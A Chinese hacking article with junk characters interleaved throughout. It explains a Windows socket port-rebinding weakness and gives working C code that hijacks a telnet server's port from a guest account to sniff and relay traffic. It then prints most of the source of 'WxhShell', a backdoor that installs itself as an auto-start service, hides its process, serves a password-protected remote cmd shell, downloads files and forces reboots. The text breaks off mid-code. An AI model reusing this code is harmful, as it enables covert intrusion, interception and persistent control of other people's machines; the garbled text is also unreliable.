在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l~c[} wv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
t`Kbm''d[ &Y{^yb saddr.sin_family = AF_INET;
}LzBo\ JVZ-nHf(9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{.p.? /jY
u-H+C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i"^> sk T] zEcx+e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%FO{:@CH O tG\Uw8 这意味着什么?意味着可以进行如下的攻击:
I;(3)^QH# L:z0cvn" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ag-A}k>v X8nos 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o
NtFYY : T*Q2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
BOs/:ZbK0W LG #^g6P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
BR,-:?z
}qNc `8h 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Gt w>R $Ome]+0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c8l>OS5i3_ j4.wd
RK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+iVEA(0&$
fz&B$1;8 #include
OQVrg2A%( #include
}9~^}99} #include
7=!9kk 0 #include
wPA^nZ^}9c DWORD WINAPI ClientThread(LPVOID lpParam);
__=H"UhWv int main()
64s;EC {
AK:cDKBO WORD wVersionRequested;
o[|[xuTm DWORD ret;
8bIP"!=*W WSADATA wsaData;
i5,iJe0cA BOOL val;
).T&fa" SOCKADDR_IN saddr;
-%nD'qy,. SOCKADDR_IN scaddr;
18X@0e int err;
zM'eqo>!c> SOCKET s;
^Q6J$"Tj SOCKET sc;
N]<(cG&p int caddsize;
vQAFg G HANDLE mt;
FFHq':v DWORD tid;
:^;c(>u{ wVersionRequested = MAKEWORD( 2, 2 );
R.~[$G! err = WSAStartup( wVersionRequested, &wsaData );
odRiCiMH if ( err != 0 ) {
9!FX*}dC printf("error!WSAStartup failed!\n");
!jCgTo
y return -1;
i?00!t }
/ f%mYL saddr.sin_family = AF_INET;
d2k-MZuT6 K/Q"Z* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_(W@FS dG\wW@}J saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YeH!v, > saddr.sin_port = htons(23);
1W^hPY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y<)TYr {
vOQ%f?%G\ printf("error!socket failed!\n");
@Nu2
:~JO return -1;
91-bz^=xO }
|P|B"I<? val = TRUE;
Bo 35L:r| //SO_REUSEADDR选项就是可以实现端口重绑定的
L@}PW)# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7)66e {
0-2|(9
Kc printf("error!setsockopt failed!\n");
b}e1JPk}! return -1;
h$cm:uks }
R4?>C-; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$a(-r-_Fi] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Zk3Pv0c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
eA!o#O. lqzt[z gN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@^{Hq6_`
{
2
$>DX\h ret=GetLastError();
Z\&f"z?L printf("error!bind failed!\n");
sD|l}f return -1;
h Yu6PWK }
Z;0~f<e%
listen(s,2);
X{9^$/XsJ while(1)
q
z)2a2C {
a#oROb-*~ caddsize = sizeof(scaddr);
#&3,T1i` //接受连接请求
rp Nb. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.`or^`X3 if(sc!=INVALID_SOCKET)
4{VO:(geZ {
/y$Omc^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hor7~u+ if(mt==NULL)
}Zhe%M=}G {
bIQ,=EA1
printf("Thread Creat Failed!\n");
x4_IUIgh break;
qJey&_ }
}@DCc f$< }
)SV.| CloseHandle(mt);
MKK ^-T }
g \mE closesocket(s);
N0`9/lr| WSACleanup();
[Nyt0l "z return 0;
$d?+\r:I{, }
2q
f|+[X DWORD WINAPI ClientThread(LPVOID lpParam)
% rBzA< {
%sa?/pjK SOCKET ss = (SOCKET)lpParam;
j"W>fC/u SOCKET sc;
+UzQJt/>> unsigned char buf[4096];
Y&|Z*s+
+} SOCKADDR_IN saddr;
6FS%9.Ws long num;
kY0HP a DWORD val;
$|4@Zx4vf DWORD ret;
[W[{
4 Xu //如果是隐藏端口应用的话,可以在此处加一些判断
bS_#3T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#3uv^m LGa saddr.sin_family = AF_INET;
(vXr2Z<l saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Sp`l>BL saddr.sin_port = htons(23);
FO{=^I5YA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1 ZdB6U0 {
%6K7uvTq printf("error!socket failed!\n");
t)SZ2G1r return -1;
i~B?p[ }
{UiSa'TR1b val = 100;
r(,U{bU< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HC`0Ni1 {
sXLW';Fz ret = GetLastError();
>.:+|Br` return -1;
:X2_#qW#C }
}{0}$#zu if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mz?<t/$U {
So%X(,
| ret = GetLastError();
}F08o,`? return -1;
dQ:,pe7A }
O\}C`CiC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#^FM~5KK {
@T1G#[C~t printf("error!socket connect failed!\n");
DE13x*2 closesocket(sc);
B|`?hw@g+ closesocket(ss);
z/?* h return -1;
0KA*6]h t }
r6<;bO( while(1)
u=`H n-( {
`kKssU< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1(' wg! //如果是嗅探内容的话,可以再此处进行内容分析和记录
)"x6V""Rb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
p.8 bX num = recv(ss,buf,4096,0);
3@Ndn if(num>0)
UB~K/r`.| send(sc,buf,num,0);
|3$Ew. else if(num==0)
S!K<kn`E3 break;
|mT%IR num = recv(sc,buf,4096,0);
J,$xQ?,wE if(num>0)
aZZ0eH send(ss,buf,num,0);
KpN]9d else if(num==0)
\p!UY3' break;
14$%v;Su4 }
IIk_!VzT closesocket(ss);
Va!G4_OT closesocket(sc);
qI'pjTMDY return 0 ;
%:26v }
hqRC:p#9 L:
$
`8 q<AnWNheE ==========================================================
h!tpi`8\z ~EtGR #
N 下边附上一个代码,,WXhSHELL
z|s(D<*w 5OM#_.p ==========================================================
P9!awLM- x,nl PU #include "stdafx.h"
t
7Y*/v&P( z ]f(lwo{ #include <stdio.h>
S1|5+PPs #include <string.h>
bQD8#Ml1 #include <windows.h>
"#)|WVa=BM #include <winsock2.h>
}u#3 hYa #include <winsvc.h>
RvG=GJJ9 #include <urlmon.h>
ss-W[|cHU y;o - @] #pragma comment (lib, "Ws2_32.lib")
c0wLc,)G #pragma comment (lib, "urlmon.lib")
8K4^05*S ,nf}4 #define MAX_USER 100 // 最大客户端连接数
/? %V%
n #define BUF_SOCK 200 // sock buffer
<zCWLj3 #define KEY_BUFF 255 // 输入 buffer
S(@kdL k A=5Kc #define REBOOT 0 // 重启
##mZ97>$ #define SHUTDOWN 1 // 关机
,X!) z Amm AL":j6!OQ #define DEF_PORT 5000 // 监听端口
vom3C9o $WIE`P% #define REG_LEN 16 // 注册表键长度
(IV\sY #define SVC_LEN 80 // NT服务名长度
NL]_;\ h +-tFg XG // 从dll定义API
pW+uVv, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8SpG/gl" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{ <Gyjq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;PaU"z+Je~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
D%+yp FS}b9sQ) // wxhshell配置信息
G^B>C struct WSCFG {
RB4n>&Y int ws_port; // 监听端口
.I_atv char ws_passstr[REG_LEN]; // 口令
7 "eK<qJ int ws_autoins; // 安装标记, 1=yes 0=no
<M\&zHv char ws_regname[REG_LEN]; // 注册表键名
he(K char ws_svcname[REG_LEN]; // 服务名
E5i5gE"\ char ws_svcdisp[SVC_LEN]; // 服务显示名
LZ wCe$1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
yF\yxdUX# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Gd A!8 int ws_downexe; // 下载执行标记, 1=yes 0=no
3qTr|8`s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
t
U}6^yc char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)W= O~g Q u2
~wp< };
NsI. mTc2 +a39 !j
1_ // default Wxhshell configuration
gcnX^[`S struct WSCFG wscfg={DEF_PORT,
* WV=X p "xuhuanlingzhe",
^g4Gw6q6 1,
#b/L~Bw[ "Wxhshell",
dQT[pNp: "Wxhshell",
pO *[~yq5 "WxhShell Service",
HW]?%9a "Wrsky Windows CmdShell Service",
rf H1Zl "Please Input Your Password: ",
(zFqb,P 1,
umns*U%T; "
http://www.wrsky.com/wxhshell.exe",
id" `o "Wxhshell.exe"
i&m_G5u88 };
2.WI".&y= _<RTes // 消息定义模块
PR5N:Bw
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Vw H|ed$ char *msg_ws_prompt="\n\r? for help\n\r#>";
d<d3j9u(# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
CNb(\] char *msg_ws_ext="\n\rExit.";
@'>RGaPV char *msg_ws_end="\n\rQuit.";
,c:NdY(,) char *msg_ws_boot="\n\rReboot...";
zg3kU65PJE char *msg_ws_poff="\n\rShutdown...";
uD@ZM char *msg_ws_down="\n\rSave to ";
O*v&CHd3 vyDxX char *msg_ws_err="\n\rErr!";
_yg;5#3 char *msg_ws_ok="\n\rOK!";
Lfn$Q3}O`$ :!MEBqcU char ExeFile[MAX_PATH];
{U2AAQSa int nUser = 0;
)Zr\W3yWX HANDLE handles[MAX_USER];
.8W-,R4 int OsIsNt;
"a].v 8l! N
;=zo-8 SERVICE_STATUS serviceStatus;
XfE0P(sE SERVICE_STATUS_HANDLE hServiceStatusHandle;
%SB4_ r*< @\nQ{\^; // 函数声明
7SS#V int Install(void);
q83^?0WD int Uninstall(void);
]=t}8H int DownloadFile(char *sURL, SOCKET wsh);
h,FU5iK| int Boot(int flag);
+rU{-`dy9' void HideProc(void);
oc)`hg2= int GetOsVer(void);
1N(#4mE= int Wxhshell(SOCKET wsl);
0 aH&M4 void TalkWithClient(void *cs);
.^*;hZ~4% int CmdShell(SOCKET sock);
#&T O(bk int StartFromService(void);
k Nc-@B int StartWxhshell(LPSTR lpCmdLine);
rX)&U4#[m v4hrS\M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8OZasf VOID WINAPI NTServiceHandler( DWORD fdwControl );
=q0V%h{ ( 0/M?YQF // 数据结构和表定义
i=\)[;U SERVICE_TABLE_ENTRY DispatchTable[] =
QTBc_Z {
2`*w* {wscfg.ws_svcname, NTServiceMain},
~\(c;J*Ir {NULL, NULL}
[ne51F5_ };
}0pp"[JU /%g9g_rt# // 自我安装
\_O#M
int Install(void)
5H.~pc2y {
K-:y char svExeFile[MAX_PATH];
- (WH+ HKEY key;
rl7up strcpy(svExeFile,ExeFile);
7P2n{zd, f$QkzWvr // 如果是win9x系统,修改注册表设为自启动
i[9yu- if(!OsIsNt) {
p#jAEY p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iS,l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0F-{YQr> RegCloseKey(key);
=s":Mx,o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rlR!Tc> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/>mK.FT RegCloseKey(key);
"'bl)^+?, return 0;
YA,~qT| }
lND2Kb }
OC*28) }
z |llf7: else {
4
9N.P;b nrMW5>&-` // 如果是NT以上系统,安装为系统服务
Oe1WnS 7(] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
z(A[xN@/W< if (schSCManager!=0)
1W'Ai"DLw {
SbGdcCB SC_HANDLE schService = CreateService
yn}Dj9(q (
H;4QuB'^ schSCManager,
T+nID@"36 wscfg.ws_svcname,
=tD*,2] wscfg.ws_svcdisp,
nfF$h}<o+ SERVICE_ALL_ACCESS,
\4wMv[;7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#dae^UjM SERVICE_AUTO_START,
0#OyT'~V% SERVICE_ERROR_NORMAL,
<~5O-.G] svExeFile,
F:q4cfL6 NULL,
D%]S>g5k NULL,
_cQ
'3@ NULL,
is8i_FoD,n NULL,
`{:Nt#7
NULL
Ht;Rz*} );
GIzB1cl: if (schService!=0)
Op-z"inw {
)9"^ D CloseServiceHandle(schService);
^'E^*R CloseServiceHandle(schSCManager);
FShjUl>mV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I;NW!"pU strcat(svExeFile,wscfg.ws_svcname);
Ur#jJR@%3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+Mq\3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P4Pc;8T@! RegCloseKey(key);
N\*oL*[j return 0;
<b
H*f w }
nC p/.]Y* }
k!x|oC0 CloseServiceHandle(schSCManager);
?)-6~p 4N }
Mc.{I"c@ }
|gI>Sp%Fu pFS@yHs return 1;
Uo >aQk }
? Vd~ ;Va(l$zD // 自我卸载
BS fmS(. int Uninstall(void)
:
B&~q$ {
,Suk_aX> HKEY key;
Axsezr/ 1<'z)r4 if(!OsIsNt) {
D/Ki^E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/al56n RegDeleteValue(key,wscfg.ws_regname);
]]K?Q
)9x RegCloseKey(key);
x9>$197 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*/h(4Hz RegDeleteValue(key,wscfg.ws_regname);
a6n@
RegCloseKey(key);
>
pb}@\;: return 0;
nrKAK^ }
L@GICW~ }
LHA^uuBN} }
ij0I!ilG4 else {
g7]S pYQSn.`V~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#aL.E(% if (schSCManager!=0)
pRV.\*:c {
P^<3 Z)L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
K9EHT- if (schService!=0)
VQpt1cK* {
w>j5oz} if(DeleteService(schService)!=0) {
}d}gb`Du CloseServiceHandle(schService);
QD,m`7( CloseServiceHandle(schSCManager);
k_]'?f7Z return 0;
):PN0.H8 }
b\ED<' CloseServiceHandle(schService);
wA$7SWC }
f4 S:L& CloseServiceHandle(schSCManager);
]Ik~TW& }
}&=l)\e }
%U{sn\V E~}H,*) return 1;
$a~ }
K*j
OrQf` o4p5`jOG@ // 从指定url下载文件
hx0 t!k(3 int DownloadFile(char *sURL, SOCKET wsh)
zgjgEhnvU {
s U`#hL6; HRESULT hr;
.5;
JnJI char seps[]= "/";
Pr}
l
y char *token;
J.XkdGQ char *file;
kEq~M10 char myURL[MAX_PATH];
_m?i$5 char myFILE[MAX_PATH];
&6CDIxH{ A[m?^vk q strcpy(myURL,sURL);
YaS!YrpI token=strtok(myURL,seps);
Q.$8>) while(token!=NULL)
R?)Yh.vi=t {
5/P. 4<c7 file=token;
X'$H'[8;C token=strtok(NULL,seps);
|u%;"N'p) }
1R@G7m #9TL5-1y GetCurrentDirectory(MAX_PATH,myFILE);
Se!w(Y& strcat(myFILE, "\\");
;U4O` pZ strcat(myFILE, file);
uxxk&+M send(wsh,myFILE,strlen(myFILE),0);
[,Rc&7p~R send(wsh,"...",3,0);
1sg:8AA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cZN<}n+q if(hr==S_OK)
h!dij^bD return 0;
7fypUQ:y else
IrYj#,xJ return 1;
&I-:=ir q0%QMut% }
Pxf>=kY >6Pe~J5,: // 系统电源模块
EgG3XhfS int Boot(int flag)
#L!`n)J" {
Ec<33i]h*p HANDLE hToken;
UucX1% TOKEN_PRIVILEGES tkp;
r8 YM#dF f`ibP6% if(OsIsNt) {
mxCneX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*^@b0f~vj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>uZc#Zt tkp.PrivilegeCount = 1;
8OOAPp$%| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A\S=>[ar- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
DC).p'0VL if(flag==REBOOT) {
\1<aBgKi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,1 H|{ < return 0;
h(kPf]0 }
{=?[:5 else {
rx|
,DI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pWE(?d_M{G return 0;
lGahwn: }
kJB:=iq/x$ }
Y*9vR~#H else {
RU/WI<O if(flag==REBOOT) {
&&$*MHJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}#.OJub return 0;
^vh!1"T }
|a])o else {
x Y$x=) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7>zUT0SS return 0;
T*B`8P }
7~"eT9WV }
%Qj$@.*:
1h`F*:nva return 1;
VXk[p }
IN6L2/Q `yl|NL // win9x进程隐藏模块
Jon3ywd1Y void HideProc(void)
;K l'[~z {
0 7qjWo/t '%e@7Cs HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,^1 #Uz8 if ( hKernel != NULL )
{pXX%> {
G?~Yw'R^8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ORX<ZOt1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Q+a&a]*KL^ FreeLibrary(hKernel);
\v:Z;EbX }
k=d_{2 ~ sw1gpkX return;
&)q>Z!C-l }
^Hf?["m^@ D?xR>Oo) // 获取操作系统版本
?Nt m5(R int GetOsVer(void)
Su@V5yz {
3&[ d.,/ OSVERSIONINFO winfo;
StNA(+rT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&!:mL], GetVersionEx(&winfo);
u9q#L.Ij if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
U7zd7O return 1;
`|nJAW3 else
v8\_6}*I return 0;
,3GB9 }
oKkDG|IE wE9z@\z] // 客户端句柄模块
R'_F9\ int Wxhshell(SOCKET wsl)
m/g[9Y {
mm!JNb9( SOCKET wsh;
NU.4_cixb struct sockaddr_in client;
,{ 0&NX DWORD myID;
o@$pyU8 I+Qt5Ox while(nUser<MAX_USER)
aY,'^S {
@GweNo`p7 int nSize=sizeof(client);
R SWw4} wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
YuO!Y9iEm if(wsh==INVALID_SOCKET) return 1;
Cvt/ot-J? F`gK6;zp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ER!s if(handles[nUser]==0)
z6qx9x|Ij closesocket(wsh);
LChwHkRHJI else
=`MQKh, nUser++;
xOxyz6B\ }
+:C.G[+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Qdc#v\B h|z59h&X8G return 0;
2xy{g&G }
G!F_Q7|- Z_jV0[\v0P // 关闭 socket
CC`#2j void CloseIt(SOCKET wsh)
l,QO+
>)z {
5@bmm] closesocket(wsh);
;;^?vS nUser--;
-q-BP}r3 ExitThread(0);
C?g*c }
\@NnL\t
u G&N),wsNZK // 客户端请求句柄
|M?VmG/6 void TalkWithClient(void *cs)
maQDD* {
rc{F17~vX oB!-JX9 SOCKET wsh=(SOCKET)cs;
bM
W}.v! char pwd[SVC_LEN];
*$t =Lh char cmd[KEY_BUFF];
7W/55ZTmJ char chr[1];
1OK~*=/4 int i,j;
XS0NjZW M}" KAa while (nUser < MAX_USER) {
)Y1+F,C ,I f9w$(z if(wscfg.ws_passstr) {
W\ARCcTQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
))6iVgSE$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kQ6YQsJ.* //ZeroMemory(pwd,KEY_BUFF);
!*k'3rKOW i=0;
]>(pQD while(i<SVC_LEN) {
kI*f}3)Y SV1;[ // 设置超时
LwI 4 2 fd_set FdRead;
I'R|B\ struct timeval TimeOut;
)4w3$Q FD_ZERO(&FdRead);
90Z4saSUw FD_SET(wsh,&FdRead);
hZO=$Mm4p TimeOut.tv_sec=8;
i[e-dT:*R TimeOut.tv_usec=0;
F
B&l|#e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3=lQZi<]% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=~$)Ieu VpM(}QHd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LtDGu})1 pwd
=chr[0]; LgSVEQb6\|
if(chr[0]==0xd || chr[0]==0xa) { "SwM%j
pwd=0; EhIa31>X
break;
(Vy`u)gG
} u,S}4p&l
i++; HO8x:2m
} 9>L{K
% ELf7~
// 如果是非法用户,关闭 socket ='.G,aJ9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jy#21
} 1GgG9I
p( [FZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Q# !.lH$W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Or
ca!x{,Cvnj
while(1) { 8IihG
\
/{\mV(F(
ZeroMemory(cmd,KEY_BUFF); sJ cwN.s
R)5zHCwOw
// 自动支持客户端 telnet标准 ^sZ,(sc{G
j=0; ~]lVixr9
while(j<KEY_BUFF) { vEb_z[gd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,W&::/2<7
cmd[j]=chr[0]; "+ 8Y{T
if(chr[0]==0xa || chr[0]==0xd) { MF~Tr0tOC
cmd[j]=0; hXsH9R
break; wfF0+T+IA
} YumHECej
j++; x4bj?=+
} _,9/g^<
p7Q
%)5o
// 下载文件 1W2hd!J7C
if(strstr(cmd,"http://")) { xs3t~o3y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qx3`5)ef
if(DownloadFile(cmd,wsh)) FrBJv<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"+|)'*n
else 9zK5Y+!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YF<;s^&@u
} Qh.
:
N
else { $j!VJGVG
4{oS(Vl!
switch(cmd[0]) { aI0}E O
x_TtS|
// 帮助 <[mvfw
case '?': { H+ Y+8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XN1\!CM8
break; !F&Ss|(}
} Ohmi(s
// 安装 nXuoRZ
case 'i': { ;/phZ$l
if(Install()) H6PS7g"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BVpRkUC"
else >B9|;,a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w\z6-qa
break; ^Q$U.sN?R
} MHVHEwr.{
// 卸载 e+5]l>3)f
case 'r': { K 6Gri>Um
if(Uninstall()) fhZD[m#D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;0f?-W?1
else 'YcoF;&[C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gqf*;Z eU
break; T] tG,W1>i
} [:!D.@h|
// 显示 wxhshell 所在路径 g^EkRBU
case 'p': { ^KK6 d
char svExeFile[MAX_PATH]; a:(.{z?nM
strcpy(svExeFile,"\n\r"); s1eGItx[w
strcat(svExeFile,ExeFile); g
:me:M
send(wsh,svExeFile,strlen(svExeFile),0); 5-ju5z?=
break; c_xo6+:l
} elBmF#,j7
// 重启 _g(4-\
case 'b': { &_EjP
hZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); phA^ kdW
if(Boot(REBOOT)) $m;rOKVU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KF[P
/cFI
else { MH>CCT
closesocket(wsh); >dW~o_u'QN
ExitThread(0); i$A0_ZJKjZ
} =A,6KY=E
break; }I\hOL
} \*V`w@
// 关机 Z+< zKn}
case 'd': { k-b0Eogp]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3d2|vQx,K
if(Boot(SHUTDOWN)) IwHYuOED]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gn*vVZ@`x
else { "Oh(&N:U
closesocket(wsh); iS{8cN3R
ExitThread(0); y:N
QLL>
} K)AJx"
break; ;@$B{/Q
} ?
D?XaRb
// 获取shell 5mD]uB9
case 's': { p -=+i
CmdShell(wsh); Cku&s
closesocket(wsh); q>T7};5m2
ExitThread(0); F~cvob{
break; SV4a_m?
} 2<*DL6
// 退出 {/x["2a1
case 'x': { APgP*,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qn+b*4
CloseIt(wsh); <xm>_~,w
break; tnbtfG;z#
} z#8d\X/
// 离开
;Q;u^T`
case 'q': { (bIg6_U7\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2sJj -3J
closesocket(wsh); 94umk*ib
WSACleanup(); +@Oo)#V|.
exit(1); fXPD^}?Ux4
break; e7<//~W7W
} R(c:#KF#8
} d85\GEF9i
} t$sL6|Ww}o
S?W!bkfn
// 提示信息 G &'eP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i>n.r_!E
} LCrE1Q%VP
} vxxa,KR/y
XCNfogl
return; 0ivlKe%
} Kp+Lk
q][{?
// shell模块句柄 &^C<J
int CmdShell(SOCKET sock) g7*ii
X
{ l^s\^b=W
STARTUPINFO si; qHGXs@*M&
ZeroMemory(&si,sizeof(si)); y`?{2#1H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Im;8Abf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tdTD!'
PROCESS_INFORMATION ProcessInfo; V[R33NYG
char cmdline[]="cmd"; YlW~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oJ cR)H
return 0; KLI(Rve24
} '2u(fLq3h
!$"DD[~\
// 自身启动模式 `.f
{V
int StartFromService(void) |fMjg'%{}
{ c5K@<=?,E
typedef struct =_%i5]89P
{ 8]6u]3q#
DWORD ExitStatus; EK^B=)q6:W
DWORD PebBaseAddress; ;- D1n
